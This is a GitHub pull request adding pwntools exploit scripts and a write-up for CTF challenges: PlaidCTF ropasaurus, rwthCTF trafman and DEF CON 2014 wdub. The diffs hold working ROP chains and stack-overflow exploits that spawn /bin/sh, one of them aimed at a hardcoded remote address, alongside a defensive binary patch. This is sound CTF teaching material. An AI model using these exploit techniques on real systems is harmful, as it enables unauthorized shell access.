Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit scripts using pwntools #37

Open
wants to merge 53 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
53 commits
Select commit Hold shift + click to select a range
cae8483
Fix doit
zachriggle Apr 16, 2015
013de5f
Exploit for ARM challenge trafman
lieanu May 10, 2015
e4d58ba
fix all
lieanu May 12, 2015
847d6ff
Update example to either download libc, or resolve symbols remotely
zachriggle May 21, 2015
fd06844
Merge remote-tracking branch 'binjitsu/master' into ropasaurus
zachriggle May 21, 2015
09cfa70
Merge pull request #3 from lieanu/master
zachriggle May 23, 2015
425ec3f
Added in two examples for srop
Jun 1, 2015
26b6409
Merge pull request #5 from eQu1NoX/master
zachriggle Jun 3, 2015
95d6402
Add wdub exploit
zachriggle Aug 3, 2015
f72a908
adding new challenges
jkrshnmenon Apr 23, 2016
0984b06
Update README.md
jkrshnmenon Apr 23, 2016
d6ef9df
Update README.md
jkrshnmenon Apr 23, 2016
17e0906
Update README.md
jkrshnmenon Apr 23, 2016
9fcd12a
added challenge and write up of boston-key-party 2016
jkrshnmenon Apr 24, 2016
3716417
Create README.md
jkrshnmenon Apr 24, 2016
d5089ae
updating challenges
jkrshnmenon Apr 26, 2016
ee6a454
Delete exploit.py
jkrshnmenon Apr 26, 2016
7a451ee
Rename exploit1.py to exploit.py
jkrshnmenon Apr 26, 2016
5566038
updating challenges
jkrshnmenon Apr 26, 2016
10126b2
XMerge branch 'master' of https://github.com/jkrshnmenon/examples
jkrshnmenon Apr 26, 2016
ec1df39
updating challenges
jkrshnmenon Apr 26, 2016
7d14aa7
updating challenges
jkrshnmenon Apr 26, 2016
dba92ab
New writeup for Secure file reader from Nuit du hack ctf
jkrshnmenon Apr 28, 2016
871b01a
Updating README.md
jkrshnmenon Apr 28, 2016
e0b8cb8
Update README.md
jkrshnmenon Apr 29, 2016
2fc78a7
Updating exploit.py
jkrshnmenon Apr 29, 2016
70a371d
Delete .gdb_history
jkrshnmenon Apr 29, 2016
8fd4e4b
Adding new exploit scripts
jkrshnmenon Jun 16, 2016
1a9e1c0
Update README.md
jkrshnmenon Jun 16, 2016
32ff6a5
Update README.md
jkrshnmenon Jun 16, 2016
c427493
Update README.md
jkrshnmenon Jun 16, 2016
1642905
Update README.md
jkrshnmenon Jun 16, 2016
7890070
Update README.md
jkrshnmenon Jun 16, 2016
031fd6b
Update README.md
jkrshnmenon Jun 16, 2016
525c561
Update README.md
jkrshnmenon Jun 16, 2016
c1c037b
Update README.md
jkrshnmenon Jun 16, 2016
cb11dcc
Update README.md
jkrshnmenon Jun 16, 2016
5aaf718
Update README.md
jkrshnmenon Jun 16, 2016
90113e8
Update README.md
jkrshnmenon Jun 16, 2016
9b1aaac
updating exploit
jkrshnmenon Jun 17, 2016
1c4c5ac
updating challenges
jkrshnmenon Jun 20, 2016
3a837b8
updating files
jkrshnmenon Jun 20, 2016
361cdb5
updating exploit scripts
jkrshnmenon Jun 20, 2016
647bff7
updating exploit scripts
jkrshnmenon Jun 20, 2016
c8980ed
Update README.md
jkrshnmenon Jun 20, 2016
8e2357f
removing .gdb_history
jkrshnmenon Jun 20, 2016
fbc00bc
Merge branch 'master' of https://github.com/jkrshnmenon/examples
jkrshnmenon Jun 20, 2016
7cb8234
Update exploit.py
jkrshnmenon Jun 24, 2016
bf55396
Removing all except plaid's butterfly
jkrshnmenon Jun 24, 2016
7d00ffc
Removing all except plaid's butterfly
jkrshnmenon Jun 24, 2016
abd189f
removing .gdb_history
jkrshnmenon Jun 24, 2016
a81935d
editing exploit
jkrshnmenon Jun 24, 2016
2c4767f
Update exploit.py
jkrshnmenon Jun 24, 2016
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
29 changes: 15 additions & 14 deletions 2013/pctf/ropasaurus/doit.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,47 +25,48 @@
# Load the elf file
rex = ELF(binary)

def myrop(base = None):
with context.local(log_level = 'WARNING'):
return ROP(rex, base = base)

# Our goal from here is to dynamically resolve the address for system
# to do this, we migrate between two ROP chains in the .bss section
addrs = [rex.bss(0x200), rex.bss(0x300)]
cur_addr = addrs[0]

# Read in the first rop at cur_addr and migrate to it
rop = myrop()
rop = ROP(rex)
rop.read(0, cur_addr, 0x100)
rop.migrate(cur_addr)
log.info("Stage 1 Rop:\n%s" % (rop.dump()))
gdb.attach(r, '''
b *0x804841c
''')
pause()
r.send(padding + str(rop))

# Now we create a memleaker, so we can use DynELF
@MemLeak
def leak(addr, length = 0x100):
global cur_addr

rop = myrop(cur_addr)
rop = ROP(rex, base=cur_addr)
cur_addr = addrs[1] if cur_addr == addrs[0] else addrs[0]
rop.write(1, addr, length)
rop.read(0, cur_addr, 0x100)
rop.migrate(cur_addr)
r.send(str(rop))

return r.recvn(length)
data = r.recvn(length)
log.debug("Leaked %#x\n%s" % (addr, hexdump(data)))
return data

# Use the memleaker to resolve system from libc
resolver = DynELF(leak, elf=rex)
system = resolver.lookup('system')
libc = resolver.libc()

# Call system('/bin/sh')
rop = myrop(cur_addr)
rop.call(system, ['/bin/sh'])
if libc:
rop = ROP([rex, libc], base=cur_addr)
rop.system('/bin/sh')
else:
system = resolver.lookup('system', 'libc')
rop = ROP([rex], base=cur_addr)
rop.call(system, ['/bin/sh'])

log.info("Stage 2 Rop:\n%s" % (rop.dump()))

# Send the rop and win
r.send(str(rop))
Expand Down
51 changes: 51 additions & 0 deletions 2013/rwthCTF/trafman/pwn_trafman.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
#!/usr/bin/env python2
#Exploit for challenge trafman of rwthCTF2013.
#
#Launch arm binary directly on an i386 system:
#Ref: https://gist.github.com/zachriggle/8396235f532e1aeb146d
# apt-get install qemu-user-static libc6-armhf-cross
# mkdir /etc/qemu-binfmt
# ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm
#
#Create a directory named db next to the trafman binary.

from pwn import *

io = process("./trafman")
libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")

objectID = "A"*40

#Find out gadget in libc.so.6, Using ROPgadget now.
#0x00058bac : pop {r0, r4, pc}
pop = 0x00058bac

#Step1: Leak libc base address.
io.sendlineafter("Username: ", "traffic_operator")
io.sendlineafter("number:\n", "23")
data = io.recvline_startswith(">")

printf_addr = int(data.split(" ")[1][2:], 16)
libc.address = printf_addr - libc.symbols["printf"]

binsh = libc.search("/bin/sh\x00").next()
pop = libc.address + pop

#Step2: Build ROP chain. return-to-system.
# Segmentation fault at: 0x63616174
offset = cyclic_find(p32(0x63616174))
padding = cyclic(offset)
padding += p32(pop)
padding += p32(binsh)
padding += "AAAA"
padding += p32(libc.symbols["system"])

#Step3: Execute Command, make a file which length is large than stack.
io.sendlineafter("number:\n", "2")
io.sendlineafter("):\n", objectID)
io.sendlineafter("command:\n", padding)

#Step4: Get Command, triger stack overflow, spawn a shell.
io.sendlineafter("number:\n", "1")
io.sendlineafter("command for:\n", objectID)
io.interactive()
Binary file added 2013/rwthCTF/trafman/trafman
Binary file not shown.
88 changes: 88 additions & 0 deletions 2014/defcon-finals/wdub-v1/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
# wdub

wdub1 is static compiled ARMv7 binary. For some reason, IDA won't disassemble the binary correctly. We have to manually override the CPU architecture setting to ARMv7-M, then again, manually disassemble the instruction in Thumb mode with IDA's `MakeCode` functionality.

![](images/image10.png)

The real main routine is at 0x9210

![](images/image07.png)

Strace tells us that wdub1 sets ALARM timer, also it can't be run from terminal (Socket operation on non-socket).

![](images/image11.png)

So what we need to do in order to debug this binary is:

1. Disable alarm
2. Redirect I/O to socket.

But the binary is static compiled and stripped. so it is difficult to disable alarm by patching. so we use signal masking to disable SIGALRM.

```c
#include <stdio.h>
#include <signal.h>
int main(){
sigset_t signal_set;
sigaddset(&signal_set, SIGALRM);
sigprocmask(SIG_BLOCK, &signal_set, NULL);
char* args[] = {"./wdub", 0};
execve(args[0], args, 0);
return 0;
}
```

After disable the alarm and redirect the I/O with xinet.d, we can run the binary and debug it.

![](images/image03.png)

At 0xc3b2 ~ 0xc3c2 the HTTP request object (12byte) is created.

![](images/image14.png)

HTTP request object is consisted with [size], [????], [pointer to request string]

![](images/image01.png)


The request string is parsed and processed according to `GET`, `POST`, `OPTION`, `TRACE`, `PATCH`...

![](images/image12.png)


While parsing `PATCH` request, it calculates the size of `Content-Length` which is `unsigned int` and checks if its smaller than 2000 bytes., however, while processing `X-Offset Header`, the value is treated as 'signed int', so we can bypass size limit by passing `X-Offset` value negative.
This creates integer overflow bug, and lets us overflow the stack buffer.


![](images/image06.png)

![](images/image08.png)


The `PATCH` request loads the existing file to stack buffer size of `'Content-Length + X-Offset'`.

So, first, we PATCH the `index.html` into size of N, then we `PATCH` again with negative X-Offset value in order to read index.html into small size of stack buffer.

![](images/image00.png)

With such two `PATCH` request, we can overflow `alloca` stack buffer. and we can get PC control

After, this step, we can ROP to execute `execve("/bin/sh")`.

Since, there is no ASLR, and the binary uses deterministic heap memory allocator, we can put any data at known memory address. so we put "/bin/sh" and the address of "/bin/sh" and pass them to R0, R1. and we set R2(environ) to 0 then we jump to SVC 0 gadget with R7=11 (sys_execve).
We could find such gadgets, from code section.

```py
'''
.text:0000D95E 28 46 MOV R0, R5
.text:0000D960 31 46 MOV R1, R6
.text:0000D962 3A 46 MOV R2, R7
.text:0000D964 98 47 BLX R3
'''
GADGET = 0xd95e+1
SVC = 0xd9b4+1 # .text:0000D9B4 SVC 0
R3PC = 0x1b476+1 # .text:0001B476 POP {R3,PC}
R7PC = 0x8a50+1 # .text:00008A50 POP {R7,PC}
```

After ROP, we get shell.
111 changes: 111 additions & 0 deletions 2014/defcon-finals/wdub-v1/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,111 @@
from pwn import *
context.arch = 'thumb'

s = remote('104.236.216.181', 1703)

# d95e: 4628 mov r0, r5
# d960: 4631 mov r1, r6
# d962: 463a mov r2, r7
# d964: 4798 blx r3
SET_ARGUMENTS = 0xd95e+1

# d9b4: df00 svc 0
# d9b6: bd80 pop {r7, pc}
SVC_POP_R7_PC = 0xd9b4+1

# 1b476: bd08 pop {r3, pc}
POP_R3_PC = 0x1b476+1

# 8a50: bd80 pop {r7, pc}
POP_R7_PC = 0x8a50+1

# These BSS addresses are where we will store
# our execve buffers.
BINSH = 0x78ac0 # &"/bin/sh"
P_BINSH = 0x78ad0 # argv

# 997c: e8bd 83f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, pc}
POP_R4_THRU_R9_PC = 0x997c+1

#
# These registers are loaded when exiting from
# the function whose frame we have overwritten
#
rop = pack(0xdeadbeef) # R4, trash
rop += pack( 0) # R5, read() file descriptor
rop += pack(BINSH) # R6, read() buffer
rop += pack(128) # R7, read() size
rop += pack(POP_R3_PC) # PC

#
# Now we load up R3 with the address of "pop {r7,pc}",
# which will be used at the end of SET_ARGUMENTS
#
rop += pack(POP_R7_PC) # r3
rop += pack(SET_ARGUMENTS) # pc

#
# We are now at POP_R7_PC.
# Here we are loading R7, which holds the syscall number.
#
rop += pack(constants.SYS_read) # r7
rop += pack(SVC_POP_R7_PC) # pc

# We are now at SVC_POP_R7_PC, which invokes read()
# to read "/bin/sh" into the BSS.
rop += pack(0) # r7 = envp
rop += pack(POP_R4_THRU_R9_PC) # pc

# Now we load up a bunch of registers before
# Execve
rop += pack(0) # r4
rop += pack(BINSH) # r5
rop += pack(P_BINSH) # r6
rop += pack(0) # r7
rop += pack(0) # r8
rop += pack(0) # r9
rop += pack(POP_R3_PC) # pc

# Here we load up R7 with SYS_execve, and
# then shuffle around all of the registers for
# the syscall
rop += pack(POP_R7_PC) # R3
rop += pack(SET_ARGUMENTS)
rop += pack(constants.SYS_execve) # R7

# Now we invoke execve()
rop += pack(SVC_POP_R7_PC)


# First stage, which sets up our ROP stack
first = 'PATCH /index.html HTTP/1.1\r\nContent-Length: 132\r\n\r\n '
first += '\x00'*43
first += rop

# Second stage, which invokes the ROP stack
second = 'PATCH /index.html HTTP/1.1\r\nContent-Length: 1\r\nX-Offset: 4294967280\r\nUser-Agent: aaaaaaaaaaaaaaa'
second += '\x00'*80
second += '\r\n\r\n\x00'

# Send the first stage
s.send(first)

# Receive all of the data that gets pumped out
s.recvuntil('HTTP/1.1 200 OK')
s.recvuntil('\r\n')
s.recvuntil('\r\n')
s.recvuntil('\r\n')
s.recvuntil('\r\n')
s.recvuntil('\r\n')

# Send the second stage
s.send(second)

# Our ROP stack is now invoking the syscall read(),
# so that we can have "/bin/sh" at a known location
# in the BSS.
s.send('/bin/sh\x00' + 'A'*8 + pack(P_BINSH) + '\x00\x00\x00\x00\n')

# Should hit execve and win.
s.clean()
s.interactive()
Binary file added 2014/defcon-finals/wdub-v1/images/image00.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image01.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image02.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image03.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image04.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image05.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image06.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image07.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image08.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image09.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image10.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image11.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image12.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image13.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image14.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2014/defcon-finals/wdub-v1/images/image15.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
10 changes: 10 additions & 0 deletions 2014/defcon-finals/wdub-v1/patch.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
from pwn import *

#
# This patch changes a BLS (unsigned compare) to BLE (signed compare),
# which should avoid the overflow.
#
context.arch = 'thumb'
elf = ELF('./wdub')
elf.write(0xaa18, '\x04\xdd')
elf.save('./wdub-patch')
Binary file added 2014/defcon-finals/wdub-v1/wdub
Binary file not shown.
Binary file added 2016/plaid/butterfly/butterfly
Binary file not shown.